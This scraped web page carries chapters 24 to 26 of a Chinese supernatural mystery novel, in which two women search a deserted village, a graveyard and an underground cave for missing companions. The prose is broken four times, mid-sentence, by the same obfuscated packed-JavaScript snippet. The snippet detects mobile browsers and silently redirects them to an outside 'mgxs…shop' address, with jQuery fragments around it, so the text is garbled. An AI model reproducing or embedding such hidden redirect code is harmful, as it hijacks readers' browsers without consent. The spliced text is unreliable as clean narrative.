她们祖上当时离开原本的家族时并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128580|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道如何正确养血,她们这支血脉不纯,很多年也培养不出一个有用之才,话语权在当时的家族内部完全消失,这才慢慢退出。 在得知她发病后,她姥姥也曾想去联系原本的家族,却没想到找到原址时已经人去楼空。 她多方打听得知,据说是之前,原本最纯正的那一支血脉,为了躲避某些灾祸,躲了起来,只留了一些外支血脉守在那里。 没有养血的办法,她的病也就这样反反复复,仅能靠裴桐的血缓解几分。 回到现实,山洞里。 听了刚才第五页解释的那一番话,其他人虽然不理解,但还是慢慢冷静下来。 冷静过后,曹永朝想到自己刚才做的事,忍不住低下头。 他刚才竟然就那样毫无理由地发疯,裴桐和他们一起进来,他怎么可以毫无缘由地将所有罪责推到裴桐身上。 反应过来后,一股愧疚感涌上心头。 他抬头对第五页说了声抱歉,“是我误会了。” 然后又说,“我们都是同伴,我不应该乱怀疑你们。” 转头看向山洞外的雨夜,“外面雨这么大,裴桐应该走不远,我去把他找回来,向他赔罪。” 说完,转身往山洞外走。 宋英杰看他一个人出去危险,连忙也跟了上去,“我跟你一起去。” 话落,两人从行李里翻出雨具,相伴离开,外出寻找裴桐。 一时间,山洞里只剩下华悠悠和第五页两人。 地上那滩血迹不好收拾,但放在那里又格外刺眼。 华悠悠从包里挑出件旧衣服,又从附近捡了些树叶,过去先将保温杯捡起,然后用旧衣服和树叶一点一点擦拭地上的血渍。 第一次尝试用树叶擦了擦,擦不干净,反而将地上的血抹得更开,看起来像是什么打扫过后的凶案现场。 第五页从背包里拿了条毛巾过来跟她一起擦,两人蹲在地上忙忙碌碌。 勉强擦干净地上的血后,华悠悠看了看手中的保温杯,没敢往里看,摇一摇,刚才那一阵推搡,杯子里的血全没了。 她抿唇,看向第五页刚刚捞起袖子的那条手臂,轻声开口问:“我刚看你脸色比较白,是又发病了吗?” 第五页抬头,想要故作轻松的点头,“嗯。” “那现在怎么办?杯子里没有血,裴桐也不知道去哪了。”华悠悠有些慌张地问。 收拾好地面,像是看旁边人表情太苦,第五页逗趣似地眨眨眼对她说:“没事,反正以前我又不是没忍过,都习惯了。而且有时候就算裴桐真的把血递给我,我也不会喝。” “为什么?”华悠悠不明白。 第五页抬眼皮,看了眼那边燃烧的火堆,然后说:“可能就像你们说的吧,其实我也觉得我这病太怪了。如果真的要靠喝血才能勉强活着,那我不是真跟吸血鬼一样了?像个怪物一样。”说完还对她笑了笑。 华悠悠抿住唇,结结巴巴开口,“刚才我们不是这个意思……” 第五页不想氛围变沉重,打断她的道歉,“没什么,我真的觉得我挺像个怪物的。” “而且裴桐也是个活生生的人啊,我不能一直靠着喝他的血活下去,那对他不公平。” 说到最后,还有一句话,她像是喃喃自语说了出来,我也并不想就这样一辈子靠着依赖他的血活着,像是永远挂在一个人身上。 而这句话由于声音太轻,华悠悠并没听到。 25. 第二十四章:病人 收拾完地面,两人找了一个舒服的角落坐着,边听外面的雨声,边等曹永朝和宋英杰他们把裴桐找回来。 那边地面的血迹并没有被她们完全擦干净。 华悠悠其实到现在都有点不相信刚才看到的画面和听到的东西,像是一场噩梦一样深深印在脑海里。 因此注意力总是被那边狼藉的地面吸引过去,次数多了,她只能强迫自己转过头,垂眸时刚好看见旁边第五页露出来的一截手腕,想象刚才看到的,印在她身体上触目惊心的纹路。 华悠悠忍不住小声询问她,“你不害怕吗?” 她以为第五页会乐观地说不害怕。 却没想到她狠狠点头说:“怕,我当然怕,我怕死了。” “也是直到生了这个病后,我才明白世界上什么人最可怕。”第五页看向山洞另一侧。 “什么人?”华悠悠问。 第五页卖了个关子,对她眨眨眼,“你猜?” 华悠悠没思考过这个问题,只能随便猜。 “坏人?” “不是。” “好人?”她又猜。 第五页摇头,揭晓谜底,“其实是病人。” “你不知道,在我生病的那段时间里,我的父母带我跑过几十家医院,我高考后的整个暑假都是在病院里度过的。” “每家医院的病房轮着住,有时候刚住完上午,下午就跑到另一家医院去住。” “在那些医院里,我见过各种病人。他们有的是刚生病,身体病状还没那么明显,尚且能够开朗地和家人、身边的朋友交谈。更多的是在医院里奄奄一息,完全是靠那些医疗设备吊着一口气。” “当时我父母正在跟给我看病的医生交流,我一个人在走廊上乱逛,走到其中一个病房时,透过病房的窗户,看见里面病床上那个病人。” “他很瘦,眼窝凹陷,头发剃光,宛如一副骨头架子一样躺在病床上,完全看不出原本的样子。仿佛将生病前所有的骄傲爱意恐惧勇敢抛之脑后,只剩下那样一副单薄的躯体。” “你知道吗?当时我看到那些躺在病床上的病人,我脑海里的第一想法并不是可怜他们,而是恐惧,太可怕了!” “那种恐惧并不是害怕自己变成他们那样的恐惧,就是纯粹的恐惧。像是看恐怖片突然跳出的恐怖贴脸画面,它就那么直白地展现在我面前。” 或许是第五页描述的画面和情感太过真实,听完她的话,华悠悠也惨白一瞬。 仿佛同她一起看到了医院病房里的那些病人。 与病魔纠缠,最后躺在床上,处于活与不活之间。 没办法像正常人一样自在地吃饭睡觉上厕所,你甚至不能以人类的定义来定义他们活着。 看见自己的话似乎说得太过头,华悠悠居然吓到脸发白,第五页又连忙生硬地转移话题,“其实也没那么惨,起码我现在好多了,能够自己偷偷跑这么远的地方来。对身体里血忍耐度也更高些。” 她故作轻松地对她笑说:“而且我还从我姥姥那里学了点养血的东西,虽然比较野路子,但多少有点用。而且我如今来这个地方也是为了治我的病。” 听到她的话,华悠悠又立马回过神,犹豫问道,“这里有东西能治你的病?” 第五页也不太确定回答,“可能吧,只是我得到一个消息,说能在这个地方找到治我病的东西。” “但是我父母都不太同意我独自出来找药,所以我这次是偷瞒着他们跑出来的。没想到没瞒过裴桐,他也跟着跑过来了。” 了解完她的故事,华悠悠露出怜惜的目光,不明白为什么这样一个漂亮的姑娘要遭受这样诡异的病症和疼痛。 想说很多安慰的话,但看对方的笑脸,似乎比自己还要乐观,最后只说出句,“你的病一定会好的。” 第五页扬起笑脸,颔首,“嗯,一定。借你吉言。” 一番掏心掏肺的谈话过后,两人继续在山洞里等着,没想到这一等,就从晚上等到了白天。 外面的雨终于停了,天色也亮起来,山洞外白茫茫一片。 裴桐没回来,就连曹永朝和宋英杰也失踪了。 留在山洞里的第五页和华悠悠从昨天晚上开始就有的那点担忧,终于变成现实。 两人都看过皮革本里的内容,不自觉地联想到当初文青香她们遇见的事。 现在天亮,她们再也在山洞里待不下去,决定出去找一找。 离开山洞,她们边在山里寻找,边大声呼唤裴桐他们的名字。 但是她们在附近转了个遍,也没瞧见他们的影子。甚至连点人走过的痕迹都没留下,像是全部被昨晚的大雨冲刷干净。 最后两人又被迫回到山洞,山洞里还是她们离开前的样子,没有丝毫变化。 两人都看过皮革本里的记录,知道这个地方待得越久就越危险。 现在裴桐他们又莫名其妙地消失,她们不能坐以待毙。 第五页和华悠悠想了很多种可能,最后猜测,会不会是昨天雨夜村子里的那支鬼影队伍来到她们山洞附近了。 裴桐和曹永朝还有宋英杰他们,会不会是在雨夜里看到那支鬼影队伍,意外被拉回了荒村? 她们并不知道这个想法的可能性有多少,只能将希望寄存于这个猜测。 于是两人收拾一部分行李出来,并在山洞里留下她们的线索。 背着她们的那部分行李,想趁着天黑之前赶回荒村找找。 可惜的是等她们再次回到雨守村,却发现不仅没在村子里找到裴桐和宋英杰他们,就连村子里的那些老人也不见了。 村子里的白雾散了个一干二净,仿佛又回到她们第一次来到这个村子的时候,安静到让人觉得诡异。 第五页和华悠悠回到她们之前住过的土房,门依旧像她们几天前离开那样虚掩着。 只是走过去推开时发现,在她们走的这些天,原本就老旧的木门又添了些许白绿色霉菌。 轻轻推开,房子里满是潮湿的霉味。 冰冷的、阴湿的,仿佛海水让人窒息。 她们在各个屋子转了遍,没看到有裴桐他们回来活动过的痕迹。 也曾去村子底下那个水潭看过,但两人的水下功夫都没有曹永朝那么好,最后只能猜测曹永朝他们应该不会走这条路。 没有办法,她们又回到土房周围。 眼看村子又要慢慢黑下来,天空开始落雨。 两个人站在空荡荡的村子里,四面环山,大喊一声,能够回应她们的只有她们的回声。被遗忘的恐惧在她们心中悄无声息地滋生。 过多诡异的事情发生,让她俩有时候不得不怀疑,她们现在经历的一切事情都是真的吗?她们真的是五个人一起进来的?她们已经遗忘了齐聪,是不是很快又要忘记裴桐、曹永朝和宋英杰他们? 华悠悠不知道,只是现在发生的事,让她莫名的恐慌。 如果一个人生命还存在,但是所有人都不记得他了,被世界遗忘、被时间和空间遗忘,那他还算真的活着吗? 不知为何,她想到了那些留守在这个村子里的老人,那些老人总是喜欢坐在房子门口,目光呆滞地盯着村口的方向。从白天等到黑夜,日复一日。 他们在等什么,或许他们自己也不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133794|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天色越暗,华悠悠越慌。 瞧着空荡荡黑幽幽的荒村,仿佛被泡在深海里,她忍不住抓住旁边第五页的手腕,想从她身上获得一点人气,吞咽口水,“叶,叶子,要不我们回山洞吧?说不定曹永朝他们已经回去了。” 第五页其实也很慌,但身边还有一个人,让她面上勉强能够保持住平静。 心里其实在飞速盘算着找回裴桐他们的办法。 可是该怎么找呢?现在这个荒村明显没有裴桐他们的影子。 如果她们再回到山上,也是漫无目的地搜寻,最后或许连她们自己都不能出去。 第五页思绪转得飞快,直到天完全暗下来前,突然听见土房后之前裴桐抓回来的那只瘦鸡,像是准备睡觉,咯咯咯打了一声短促的鸡鸣。 仿佛福至心灵,一道灵光徒然在脑中炸开。 她带着华悠悠快速来到土房后,找到那只瘦鸡,将它从睡觉的稻草窝中强制抓了出来。 同时另一只手摸到背包侧边底部的短刀,抽出,下手快准狠地给自己左手食指割了个小口。 捏住瘦鸡的嘴,将食指中的血对准瘦鸡尖锐的喙,往它喉咙灌去。 但是食指开的口子还是太小了,哪怕挤出点血往鸡的嘴里灌,还是有一大半从鸡喙的边缘漏出去,根本喝不了多少。 因此第五页又快速将瘦鸡递给旁边的华悠悠,眉毛微蹙道,“你帮我抓一下,捏住它的嘴。” 全程跟着她走的华悠悠脑袋有些懵,不明白她为什么突然要这样做,但还是听话地迅速抓住瘦鸡,捏住鸡的喙。 抬头时,见她又用刀划了一下手掌心,更多的血珠从掌心冒出来,微微瞪大眼睛,声音颤抖着说:“叶,叶子……你这是在干什么?” 第五页忍着掌心的剧痛,边从掌心中挤出更多的血珠,对准瘦鸡的喉咙,边回答她的问题,“我在想找到裴桐他们的办法。” “你还记得吗?我跟你们说过我的血很特殊。我姥姥跟我说其实是我身体里的血太活跃了,我不仅需要养血,还要用它。但对如何养它和用它,我只知道一点皮毛。” “我姥姥说万物都是有灵性的,拥有我们这样血的人,如果能正确利用身体里的血可以用血跟动植物交流,厉害点甚至能操控动植物。” “我想这只瘦鸡在村子里待了这么久,还能在山里活下来,知道的肯定比我们多。说不定能让它带着我们找到裴桐他们。” 第五页语速飞快,额头渗出细细密汗,将全部的注意力转移到嘴上说的话,才勉强忍住掌心剧痛。 华悠悠似懂非懂地点头,不再说话,而是专心致志在一旁给她帮忙。 两人忙活了好一阵,直到瘦鸡嘴灌下去许多,第五页感觉差不多了才收手。 然后她忍着疼痛,从背包里拿出一卷绷带,随意给手缠了缠。 另一边华悠悠见她一只手做这事不太方便,便松开手中已经被捏得晕晕乎乎的瘦鸡,连忙过来帮她包扎伤口,“我来帮你。” 这边把第五页掌心的伤口包扎好,转头一看,刚才那只瘦鸡,不知是她们太用力还是灌的血太多。 松手后便直接倒在地上,之前因泥水瞎掉的那只眼睛慢慢由白变为粉红,鸡爪抽搐,仿佛没彻底死去。 第五页现在也不太确定她这究竟是成功了还是没成功,好像有点灌过头了。 她和华悠悠的眼珠死死盯着地上的瘦鸡,不放过丝毫变化。 没过多久,地上的瘦鸡忽然浑身抽动一下,鸡头轻轻敲击地面。 片刻后,瘦鸡用鸡头顶着地,摇摇晃晃着身子站了起来,像打嗝一样,打出两声尖锐的鸡鸣。 26. 第二十五章:搜救鸡 瞧见它终于动了,蹲守在旁边的第五页和华悠悠面上均是一喜,更加谨小慎微,连呼吸都放轻。 甚至在鸡周围退出去好几米,为了让它好找寻正确的方向。 只是当她们让至一边时,却发现瘦鸡还是像原来那样,摇摇晃晃地在原地转圈,半天不离开那三分地。 看了好一会,她们才反应过来,是不是没给它线索。 电视剧里演的,一般让狗帮忙去找丢失的人,还要给狗闻闻丢失人东西的味道来着,虽然不知道让鸡找人是不是同样道理,但有线索总比没线索好。 于是她们又从背包里拿了些曹永朝他们用过的东西。 裴桐的保温杯之前装过他的血,后面没来得及洗,在拿出来的几样东西间味道最明显。 第五页抓着那个保温杯,拧开杯盖,凑近地上的鸡,想让它闻闻杯子里的血腥气。 却没想到它不知是被这血腥气激发了斗志,还是认出她就是刚才那个强制灌它血的人,盯着她的方向,徒然张开翅膀,抖擞着鸡冠一个飞跳,冲着她就来了。 “我!”第五页被这突然的变故吓到,瞪大双眼,猛地退出去好几步,闪过鸡的第一波攻击,随后在它落地的瞬间,几乎是下意识的反应将保温杯甩出去,正好砸在瘦鸡的头上,再次将它打趴下。 “吓我一跳!” 她心有余悸地抚摸胸口,惊魂未定。 谁能想到这瘦鸡这时候会反扑。 看来她姥姥说的没错,万物真的有灵性,或许是刚才她太过着急,下手太重了点,才让这鸡心生怨气。 求人帮忙都得送礼,求鸡帮忙她俩两手空空的就过来了,还一把把刚准备睡觉的人家从鸡窝里拖出来。 这任谁都不会给好脸色。 旁边华悠悠瞧见她差点被鸡叨了一道,待她闪过后,满脸担忧地快步迎上来,“你没事吧?” “没事。”第五页对她安抚笑笑。 见她是真的没事,这才又转头看向地上已经被打趴下的瘦鸡,“刚才这鸡怎么突然就冲着你过去了?好吓人。” “或许是我们刚才的手段太不礼貌了。”她讪笑道。 华悠悠这才想起刚才她们做的事,仔细回忆了下,好像是不太友好。又对地上的鸡投去愧疚的眼神。 第五页眉心紧蹙,“嘶,这下可难办了,本来我们就过来求帮忙办事,两手空空也就算了,还把对方揍了顿。” 这下别说鸡,就是她也肯定不会再帮对方。 “该怎么办呢……”她脑子里的念头一个又一个地冒出来。 没等她想到一个好的解决办法,地上原本被打趴下的鸡,竟又这样摇摇晃晃地站了起来。 没再冲着她飞来,而是在地上左叨叨右叨叨,片刻后抬起脑袋,一爪一爪地往山上走去。 这是怎么回事?怎么又突然开始帮忙了? 难道是被她打服了?刚才它在地上左叨右叨,是在嗅气味吗?好诡异啊。 第五页和华悠悠交换眼神,二话不说,迅速跟上带路的瘦鸡。 两人跟在鸡的后面,在村子里走走停停,终于在天黑后上了山。她们从背包里掏出手电筒,照亮周围一片。 在上山的路上,第五页有很多次怀疑这鸡是不是在逗她们玩。 其实它根本没懂她们的意思,只不过是它刚好被她们从鸡窝里拽出来,顺便出村上山逛逛而已。 不然也不会一路上走走停停,有一段路甚至扑通一声跳进旁边的灌木丛,在灌木丛里翻翻找,最后叼出一根大肉虫美滋滋地吞进肚中。 看见它这副样子,第五页和华悠悠在旁边有好几次急得想上手,但又怕她们动手后,这只鸡就彻底跟她们摆烂不干了。 最后只能亦步亦趋地跟在它后面,仿佛鸡的两个小弟。 她们离开荒村后,走了很长一段路。 第五页甚至怀疑,她们会不会就这样在山里转到天亮时。 那只鸡终于停了下来,站在一个深坑边,昂起脑袋,咕咕咕打出一声鸡鸣,随后扇动翅膀跳了下去,待在坑里面,像孵蛋一样蹲着不动了。 第五页和华悠悠的手电筒光在周围晃来晃去,迅速认出这个地方是哪里。 这不就是上次曹永朝挖坑的坟地嘛。 此时她们周围正遍布着与上次相差无几的大大小小的坟包。 上次过来有五个人,感受还没那么明显,这次只有她们两个,周围冷风一吹,雨后潮意从她们的衣服钻入身体,冰冷的惊悚感瞬间窜遍全身。 华悠悠看着那些隐没在草丛后石头边树下的坟包,忍不住联想到一些可怕的事,紧紧捏着手电筒,吞咽口水,想去抓旁边第五页的手,获取点安全感。 却没想到抓了个空,回头时发现身边哪还有人影。 正要大声呼喊她的名字,突然在坑里看见她的身影。 这才发现第五页竟不知何时跃入坑中,手电筒的光照在瘦鸡身上,缓慢靠近,轻轻用脚踢了踢坑中的鸡。 华悠悠瞧见她的动作,疑惑道,“叶子……你在干什么呢?” “我想看看这只鸡是不是睡着了。”说着又用脚轻轻碰了碰。 可惜,这只鸡并没有睡着,被她踢后也只是歪了歪身体,然后又迅速扶正,孵蛋一样坐在原地。 第五页转到正面,看见鸡的眼睛依旧睁着,只是瞎掉的那只眼中的红不知何时散去,重新变为一片混沌。 没有睡着,眼底的红也散掉了。 难道这里就是她们要找的地方?裴桐他们在这附近吗? 华悠悠把光借给她在坑里扫了一遍,“有什么发现吗?” 第五页如实摇头,“没有,鸡不动了。这里好像就是我们要找的地方。” “这里?”华悠悠不敢相信地又用手电筒扫了一遍周围,脊骨不受控制地一凉,“可是这周围只有坟啊。” 是啊,她们刚才来的路上不是没有注意过周边山林。但是一路上除了鸡的声音,就只有她俩的脚步声,像是整片山林只有她们两人。 现在这片坟地周围更是除了坟便只有坟,别说人影了连个鬼影都瞧不着,怎么可能找得到裴桐他们。 忙活了半个晚上,就是找到个这么个鬼地方。 第五页不仅心累,身体更累。 此时也顾不得什么脏,径直在坑里一屁股坐下去,想要边休息边想其他办法。 这个地方究竟有什么不同? 为什么华悠悠和曹永朝梦游都会来到这个地方?就连这只鸡都把她们引来这里。裴桐他们来过这里吗? 她其实心底隐隐还有很多疑惑。 关于这片坟地,还关于村子里的老人。不知是不是她的错觉,她其实觉得村子里的老人或者说鬼影对他们并没有那么大的攻击意味。 细细想来,其实从他们进村子后,村子里的东西便一直明里暗里给他们提示和帮助。 第一次就是她和华悠悠刚进村睡的那个土房,一辆黑棺从山上冲了下来,她们狼狈逃窜,躲过一劫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138159|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那几乎是一种直白的提示,这个村子很危险,快离开这里。只是当时的他们并没有听懂。 第二次是她半夜出去寻找华悠悠,谁知半路裴桐也丢了,还在村子里遇上鬼打墙。最后也是跟着水潭里爬出的鬼影队伍,她才重新回到裴桐他们身边。 甚至到后面,他们被村子同化得更深,能够看见住在村子里的那些老人。 那些老人也并没有对他们出现攻击行为。 如果那些鬼影对他们真的没有饱含恶意,甚至主动给他们提示和帮助,那梦游和这次会不会也是一种提示,他们想提示她们什么? 思考的久了,第五页渐渐感觉屁股传来一阵凉意。是坑里的水浸透衣服,传到身体。 她一个弹跳起身,边拍去身上的泥,边往身后大腿看。 徒然,在看到刚才她坐的地方,下陷出一个小坑,浑浊的水就这样从小坑中溢了出来。 她骤然想到什么,忘记继续拍泥的动作,开始快速在坑里走来走去,不停抬脚。 对啊,她怎么把这茬给忘了。 这个地方一直在下雨,这个深坑也从几天前就在这里,山里的雨来来去去,没有几十遍也有十几遍。 这么多天过去,这个坑竟然到现在都没有积攒出多少雨水,水甚至没有没过她的鞋底,只有当人用力在上面踩的时候,才会有一丁点雨水从泥土里渗出。 但这也不够,更多的水实际上渗透到了地下。 那就还有一个可能,在这片坟地底下,还有另一个空间,让原本积攒在深坑里的雨水全部通过泥土渗透过去。 想明白了是哪里的问题,第五页声音是藏不住的雀跃,抬头亮着眼睛对坑上边的华悠悠道,“你帮我在附近找一下上次曹永朝用过的锄头吗?” 她记得那次他们找到曹永朝后,并未把锄头带回去,只是随手丢在了坟地周围。 虽然不明白她现在要锄头干什么,华悠悠还是立马点了头,“好,我帮你去找。” 拿着手电筒,去往之前他们转过的地方,在几株相同的灌木丛里翻找,好半天才找到那把锄头。 拖着锄头回来。 坑中第五页刚接过手,便把手电筒咬在嘴里,双手握住锄头,吭哧吭哧挖了起来。 一块又一块黄泥被刨出。 在身后堆成小山。 看见她这样,华悠悠虽然还是不明白她为什么忽然要挖坑,但猜测肯定是坑底下有什么东西。 于是守在坑边的她也不想闲下来,一遍遍把坑中她挖出来的黄泥搬到坑上。 两人轮流干活。 轮到华悠悠下坑挖的时候,第五页就在坑上把刚才她的想法给她说了下,这才解开她心中的疑惑。 她们挖了很久。 第三次,轮到第五页下坑继续挖。 没挖两下,突然一直在旁边安静蹲着“孵蛋”的瘦鸡,像是感应到什么,打了一声短促的鸡鸣,扑腾着翅膀跳起来,跳了好几次,挣扎着想跳到坑上。 这边第五页瞧见鸡的动作,没等她开始想它为什么忽然这样,同时脚下猛地一松,像是踩在一个薄薄的泡沫板上,往下坠出去半只脚的距离。 她瞬间意识到什么,毫不犹豫地丢掉锄头,和鸡一起挣扎往最近的坑边跳去。 一跳没跳上去,下坠的重力反而又给脚下的“泡沫板”重重一击,只听见咔吱咔吱,像是老鼠啃食的声音。 脚下的土地徒然空掉,她没来得及尖叫一声,便失重般往下坠去。 27. 第二十六章:洞穴 第五页以为自己会一脚踩空,直接从很高的地方摔下去。却没想到没摔多久便踩到实处。 而且脚下有泥土,根本没有伤着她。 这坑的下面似乎是个斜坡,她掉下去后踩着脚下的泥土一滑,为了保护身体,并没有过多挣扎,而是就地摔倒,抱住头蜷缩着,顺着那个斜坡往下滚去。 直到后背碰到斜坡底端的另一硬物,她像是被什么托着停了下来。 头顶稀稀碎碎的泥土混着泥水迎面浇下,等了好一会,没有等到泥水落下,她才抬起头。 空气里满是霉味和泥水的腥味。 “咳咳,呸。”她咳嗽两声,吐掉嘴里的泥水。 活动身体,没察觉到哪里有痛意传来后,她拍了拍刚才掉下来一直紧紧攥在手心的手电,推上开关。 手电筒的光闪了两下,照亮周围。 此时的第五页在一个小斜坡的最低端,往上两三米的位置是她刚才掉下来的地方。身侧是石壁,上面滑滑的凉凉的,有水流过的痕迹。 手电光往晃去最深处才发现这里别有洞天,坟地下方整个地底被掏空,形成了一个天然的溶洞。 而溶洞最底端有两个篮球场大小,被地面渗下来的水形分成两半,一半是岩层,一半是黝黑的水潭。除此之外溶洞四周还有三条连接它的洞道,最大的那条洞道目测有四五米高。 和第五页一起掉下来的那只鸡,趁坑线塌落后,扑腾翅膀径直飞到没有水的那一侧,不知是不是害怕缩在角落里瑟瑟发抖。 头顶传来华悠悠呼喊她的声音,“叶子,你没事吧?” 她撑着手尝试着起身,确认这一块不会随便塌陷后,才昂起头往坑那方大喊:“咳,我没事!这里好像是个洞穴。” 边喊着她边活动活动身体,没发现身上有什么伤口,甚至连脚腕扭伤都不曾有。 第五页捏着手电筒,姿态别扭地往斜坡上方爬去,最后在斜坡顶端找了个位置借力停下。 头顶便是刚才她掉下来的地方,那个被她们挖的深坑,此时已塌去一半,另一半底部的岩层也摇摇欲坠。 这里的岩层最薄,再加上地面长久以往的雨水渗下来,她尝试着伸手抓住那剩下的岩块,轻轻一扒拉,便尽数掉落。 她们忙活了快一个晚上,此时从溶洞通过坑往外看,天色已有亮的痕迹。 华悠悠还焦急地趴在坑边,忧心地往里望,直到看见像在泥地里滚过的她,才松了一口气,接着问,“底下怎么样?有空间吗?” 第五页笑着点头,“有,空间还挺大的。这里面好像是个洞穴,还有好多条通往其他地方的洞道,看起来四通八达的。” 光靠嘴描述也想象不出来底下是个什么样子,不过这倒是勾起了华悠悠的好奇心,“那我们还下去吗?下去找曹永朝他们?” 第五页思考了会,颔首,“我们在这里面找找吧。而且这里面有很多条路,说不定还有离开这个地方的办法。” 华悠悠也认同她,于是很快在上面做好准备工作,用她们带进来的工具降下绳子,先将两人的行李放下来,最后是自己。 她们挤在小小的斜坡上,贴着洞穴的石壁往下走,脚下有松动的碎石,稍有不慎就容易掉下去。 而在她们的正下方便是那大大的水潭,地上连绵的雨水渗到地下,变成这样一个不小的大水潭。 石壁上都是水,人抓在上面很容易滑下去。好在两人谨慎慢行,最后也顺着石壁边的碎石,爬到了洞穴最底端,跳下平台,走过一片水洼,终于抵达岸边。 第五页仰头望去,洞穴虽是封闭的,但依旧有不知哪来的光透进来,照在洞穴顶部,银光闪烁,神秘又瑰丽。 洞穴里静得出奇,她们在这个偌大的洞穴里,光是喘气声都能传出不小的回声。 两人蹲坐在水洼边,下来浪费了不少体力。 白天她们又是回荒村,又是满山找裴桐他们,晚上还跟着鸡回到坟地挖了大半夜的坑,此时两人疲惫不堪。 也不知道裴桐他们怎么样了。 这个地方目前看起来还安全,她们好不容易爬下来,也没有力气立刻出发去寻找裴桐他们,准备先在这里休息或探索一番,再看要不要进到洞穴其他洞道去看看。 如果不行的话,她们随时可以从那个坑的地方返回地面。 下来后,两人身上都湿透了。 不仅是汗水,还有刚才从石壁边擦身而过的泥水也浸染了她们的衣服。 第五页看了一圈周围,大喘着气,稍稍擦一把脸上的汗,“我们在这里休息一会吧,先在附近看看有没有裴桐他们给我们留下的线索,如果有,我们再决定要不要继续前进。如果没有,我们可以随时返回地面。” 华悠悠累得连点头的力气都快没了,只低低地嗯了声。 两人放下行李,在洞穴里找了块干燥的地方,准备好好休息一下。第五页从包里拿出一些仅剩的面包和能量棒,分给旁边的华悠悠。 在吃面包时,忽然想起之前带她们进来的瘦鸡。 转眼一看,那鸡还缩在那水潭边,像孵蛋似的一动不动,羽毛微微颤抖。 第五页犹豫一秒,起身走过去,蹲下身,用食指轻轻戳了戳它的翅膀。 那鸡便受惊似的抬起头,用仅剩的一只眼睛警惕地盯着她。 确认它还没死后,掰下自己的一点点面包揉成屑,找了一块平整的石头,放在鸡的面前,将面包屑撒在上面。 那鸡转着脑袋,一会抬头看她,一会看那放在石头上的面包屑。良久,才咕咕叫地起身,挪过去低头啄食。 怎么说这鸡也是带她们找到这个地方来的大功臣,不可能一点好处都不给人家。 吃完东西,体力稍稍恢复了些。 但精神还是有些不足,她们已经太长时间没有睡觉,决定稍稍休息会。 休整前,第五页在洞穴里转着去看了那几条路。 这个偌大的洞穴,除了通往地面上的那个被她们挖通的深坑,靠近底部这一片,一共有三条路。 其中只有一条洞口稍宽的洞道,洞口处最大高至四五米,往里会稍微矮一点,但不会变化太大。洞道深处很黑,隐约能听见潺潺的水声。另外两条则狭窄得很,她试探着往里走了几步,发现越走越逼仄,到最后只能侧着身子勉强通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143957|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过。 她和华悠悠没什么野外攀岩的经验,仅仅是身体素质比普通人好些,面对这两条窄道,实在没胆子贸然深入。 回到两人休息的地方,华悠悠像是累极了,已经睡了过去,均匀的呼吸声从她身上传来。 第五页在她旁边找了个舒服的位置,准备也勉强眯上一会。 山洞里很安静,只有水滴落在水潭里发出的滴答声。 她脑子里都是该怎么找回裴桐他们,想着事,并没有睡得很沉,以应对发生意外自己随时醒来,半梦半醒。 这一觉感觉很短,她也不确定她睡了多久,有可能是一个小时,也有可能只有几分钟。 她被一阵沉闷的声响吵醒。 咚—咚—咚 那声音闷闷的,很有节奏,像是人用手或者身体击打在硬物上。 第五页掀开眼皮,便瞧见原本应该睡在她旁边的华悠悠站在洞口最大的那个洞道边,脊背僵直,失魂般将额头往湿滑的岩壁上一下下磕去,发出有节奏的咚—咚—咚的音。 在这仅有两人一鸡的洞穴中更显惊悚。 她头皮一凉,下意识攥紧怀中的短刀,喉咙发紧,“华悠悠?” 洞口边的人没回答她,依旧用头一下一下磕着石壁。 这是又梦游了? 第五页有些不太确定,看着那诡异的动作,攥紧短刀,起身,小心翼翼地往那方的华悠悠走去。 然而没等她走到近处,一直被挡住去路不停在石壁上磕头的华悠悠,像是终于反应过来面前有东西挡着,不能前进,扭身错过面前的石壁。 转身进了旁边宽大的洞道。 第五页又叫了声她的名字,还是没叫住,只能快步追了上去。 她打着手电,握着短刀,跟着梦游的华悠悠的背影追进洞道,眼前的场景一瞬间缩小。 